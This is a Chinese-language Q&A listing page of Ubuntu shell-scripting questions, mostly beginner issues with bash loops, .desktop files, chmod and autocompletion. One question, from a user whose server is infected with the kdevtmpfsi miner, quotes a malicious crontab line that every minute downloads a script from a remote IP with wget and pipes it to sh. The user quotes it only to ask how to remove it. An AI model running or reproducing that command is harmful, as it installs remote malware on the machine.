AskOverflow.Dev

AskOverflow.Dev Logo AskOverflow.Dev Logo

AskOverflow.Dev Navigation

  • 主页
  • 系统&网络
  • Ubuntu
  • Unix
  • DBA
  • Computer
  • Coding
  • LangChain

Mobile menu

Close
  • 主页
  • 系统&网络
    • 最新
    • 热门
    • 标签
  • Ubuntu
    • 最新
    • 热门
    • 标签
  • Unix
    • 最新
    • 标签
  • DBA
    • 最新
    • 标签
  • Computer
    • 最新
    • 标签
  • Coding
    • 最新
    • 标签
主页 / ubuntu / 问题

问题[sh](ubuntu)

Martin Hope
user924971
Asked: 2020-05-15 09:08:05 +0800 CST

用于创建带有文件名的文件夹并在其中复制文件的 Shell 脚本

  • 0

我有一个看起来像这样的列表

ABC_100.0_k_1x1x1.xyz
ABC_100.0_k_1x1x1.txt
ABC_100.0_k_2x2x2.xyz
ABC_100.0_k_2x2x2.txt
ABC_100.0_k_10x10x10.xyz
ABC_100.0_k_10x10x10.txt
ABC_600.0_k_1x1x1.xyz
ABC_600.0_k_1x1x1.txt
ABC_1000.0_k_1x1x1.xyz
ABC_1000.0_k_1x1x1.txt

我想编写一个创建以下文件夹的脚本

ABC_100.0_k_1x1x1
ABC_100.0_k_2x2x2
ABC_100.0_k_10x10x10
ABC_600.0_k_1x1x1
ABC_1000.0_k_1x1x1

我试过以下

#!/bin/bash

for file in *_???.*_?x?x?.*
    do
        dir=${file%}
        dir=${dir%.*}
        mkdir -p "./$dir" &&
        scp -r "$file" "./$dir"
done

但我只得到文件夹

ABC_100.0_k_1x1x1
ABC_600.0_k_1x1x1

我究竟做错了什么?也许这很愚蠢,但这是我第一次尝试 shell 脚本

scripts bash sh
  • 3 个回答
  • 1835 Views
Martin Hope
Psionikal
Asked: 2020-05-03 11:14:26 +0800 CST

在 bash 中创建一个“if else”语句来切换键重复

  • 0
#!/bin/bash
var1="r on"
var2="r off"
xset=$xset
if [[ $(xset r on) = true ]] then
  $xset "$var1"
 else
  $xset "$var2"
fi

是我尝试运行以切换键重复的脚本。

运行脚本时,按键重复保持开/关。

如果我听起来像个新手,请提前道歉。我对这个脚本的东西真的很陌生。

编辑:我尝试在终端中运行脚本,但输出是:

Toggle key repeat.sh: 5: Toggle key repeat.sh: [[: not found
Toggle key repeat.sh: 9: Toggle key repeat.sh: r off: not found
scripts command-line bash sh xset
  • 1 个回答
  • 124 Views
Martin Hope
JD.
Asked: 2020-04-23 07:35:36 +0800 CST

尝试为 .sh 创建 .dekstop 文件

  • 0

我正在尝试创建一个运行 sh 文件的 .desktop 文件,该文件会在 Windows 10 中重新启动我的系统。它是这样的:

[Desktop Entry]
Name=Windows 10
Comment=Windows 10
Keywords=w10,windows
Exec=sh /home/jd/.wreboot/w10reboot.sh
Terminal=false
Icon=/home/jd/.wreboot/w10.png
Type=Application
Categories=Utilities;
StartupNotify=false
Version=1.0

该桌面文件调用此 sh 文件:

#!/bin/bash
gksu grub-reboot 1 &&
gksu reboot now

问题是我两次提示我的密码,这很烦人。我的知识有限,我想做的是防止脚本两次询问我的密码。我宁愿不使用 gksu 但这是我找到的唯一解决方案。

非常感谢!

scripts bash password gksu sh
  • 1 个回答
  • 47 Views
Martin Hope
Fábio Junio Alves Sousa
Asked: 2020-04-09 10:33:39 +0800 CST

我的 Ubuntu 服务器被病毒 kdevtmpfsi 感染

  • 11

在此处输入图像描述

我的 Ubuntu 服务器被病毒 kdevtmpfsi 感染,我已经完成了几个步骤来解决这个问题,就像所有这些:https ://github.com/docker-library/redis/issues/217 。

但是当带有redis的docker容器运行时,它仍然会一次又一次地出现。

但是还有一件事我不能做,当我运行命令for user in $(cut -f1 -d: /etc/passwd); do echo $user; crontab -u $user -l; done查看所有用户 crontab 时,这是我的输出:

no crontab for gdm
fabio
* * * * * wget -q -O - http://195.3.146.118/unk.sh | sh > /dev/null 2>&1
debian-tor
no crontab for debian-tor
deploy
no crontab for deploy
redis
no crontab for redis

wgetcrontab 中有一个用于下载脚本的可疑作业sh,我找不到如何删除它,而且我不确定当我使用 redis 打开 docker 容器时这是否会再次出现。

看上面的图片,运行这个病毒的“用户”是一个用户“999”我不知道这是怎么可能的,因为这个用户不存在。

我能做些什么来解决这个问题?

cron docker sh redis
  • 6 个回答
  • 21274 Views
Martin Hope
Shengyu Liu
Asked: 2020-03-19 04:01:10 +0800 CST

关于 sh 和 ./

  • 0

我想如果我想用它./来执行一个脚本,我必须先运行chmod +x file。但是为什么sh file不使用chmod命令就可以执行呢?不需要sh任何执行权限?

sh
  • 1 个回答
  • 60 Views
Martin Hope
Bas Lamerichs
Asked: 2020-02-01 00:16:58 +0800 CST

有没有人有一个 .sh 脚本来递归地扫描当前文件夹中的 0 字节文件并将它们放入文本文件中?

  • 0

我正在寻找一个简单的.sh脚本,它可以递归地扫描当前文件夹和子文件夹以查找 0 字节文件。我知道这只需几行就可以完成,但我对 Linux 的命令行非常陌生。如果可以将输出列出到文本文件(例如> 0byte.txt.

scripts directory sh
  • 1 个回答
  • 635 Views
Martin Hope
Arrrow
Asked: 2020-01-28 07:38:04 +0800 CST

sh 替代 bash cp {file,file}

  • 5

在脚本中,如果我放在#!/bin/bash顶部,这将正常工作:

cp directory/{foo,bar} destination

但是,使用 sh,这将给出错误“没有这样的文件或目录”。在 sh 中,是否有另一种方法可以用一个命令完成相同的最终目标?

bash cp sh
  • 2 个回答
  • 2443 Views
Martin Hope
Tomas.R
Asked: 2019-12-07 18:30:20 +0800 CST

“-sh: 2: logout: not found” - 尝试从服务器注销时的消息

  • 1

当我连接到我的服务器时:

ssh [email protected]

我用密码登录,然后执行:

logout

我收到此消息“-sh: 2: logout: not found”。

  1. 为什么我不能登出?

  2. 这个消息是什么意思?我的意思是Linux,你怎么敢。

  3. 这是某种记录器吗?它在哪里保存消息?我觉得作为一个有抱负的系统管理员,我需要更多地了解记录器,以便进行故障排除,对吗?我在哪里可以学到一些 BASIC 初级水平的东西,任何建议都将受到高度赞赏。

logout sh
  • 1 个回答
  • 1783 Views
Martin Hope
Jamie Hutber
Asked: 2019-11-29 17:20:17 +0800 CST

遍历所有文件夹并依次重命名文件夹内的所有文件 1.*、2.*、3.*

  • 0

这不起作用......我对 sh 脚本仍然很糟糕。

for imageFolder in *; do
    [ -d $imageFolder ] && cd "$imageFolder" && 
        for file in *.*
        do
          echo "$file" #"${file/?/?}" //the bit I am stuck on I believe.
        done
done

我有以下文件夹结构,我希望所有文件都1以0

姓名

所以文件夹结构看起来像这样

在此处输入图像描述

bash directory rename sh
  • 1 个回答
  • 81 Views
Martin Hope
AndreaNobili
Asked: 2019-11-24 03:19:29 +0800 CST

为什么我的 shell 不能自动完成工作?

  • 9

我不太喜欢 Linux,我有以下疑问:一个客户端为我提供了一个 Ubuntu 18.04.3 LTS 虚拟机,我通过 SSH 访问它。(我使用 MobaxTerm 作为 SSH 客户端,但这应该不是问题。)使用的 shell 是sh.

问题是在 shell 中,自动完成功能没有像我预期的那样使用Tab密钥。

它只是简单地放置了经典的制表符空白。

为什么?如何更改此配置?

command-line auto-completion sh dash-shell
  • 1 个回答
  • 11133 Views

Sidebar

Stats

  • 问题 205573
  • 回答 270741
  • 最佳答案 135370
  • 用户 68524
  • 热门
  • 回答
  • Marko Smith

    如何运行 .sh 脚本?

    • 16 个回答
  • Marko Smith

    如何安装 .tar.gz(或 .tar.bz2)文件?

    • 14 个回答
  • Marko Smith

    如何列出所有已安装的软件包

    • 24 个回答
  • Marko Smith

    无法锁定管理目录 (/var/lib/dpkg/) 是另一个进程在使用它吗?

    • 25 个回答
  • Martin Hope
    Flimm 如何在没有 sudo 的情况下使用 docker? 2014-06-07 00:17:43 +0800 CST
  • Martin Hope
    Ivan 如何列出所有已安装的软件包 2010-12-17 18:08:49 +0800 CST
  • Martin Hope
    La Ode Adam Saputra 无法锁定管理目录 (/var/lib/dpkg/) 是另一个进程在使用它吗? 2010-11-30 18:12:48 +0800 CST
  • Martin Hope
    David Barry 如何从命令行确定目录(文件夹)的总大小? 2010-08-06 10:20:23 +0800 CST
  • Martin Hope
    jfoucher “以下软件包已被保留:”为什么以及如何解决? 2010-08-01 13:59:22 +0800 CST
  • Martin Hope
    David Ashford 如何删除 PPA? 2010-07-30 01:09:42 +0800 CST

热门标签

10.10 10.04 gnome networking server command-line package-management software-recommendation sound xorg

Explore

  • 主页
  • 问题
    • 最新
    • 热门
  • 标签
  • 帮助

Footer

AskOverflow.Dev

关于我们

  • 关于我们
  • 联系我们

Legal Stuff

  • Privacy Policy

Language

  • Pt
  • Server
  • Unix

© 2023 AskOverflow.DEV All Rights Reserve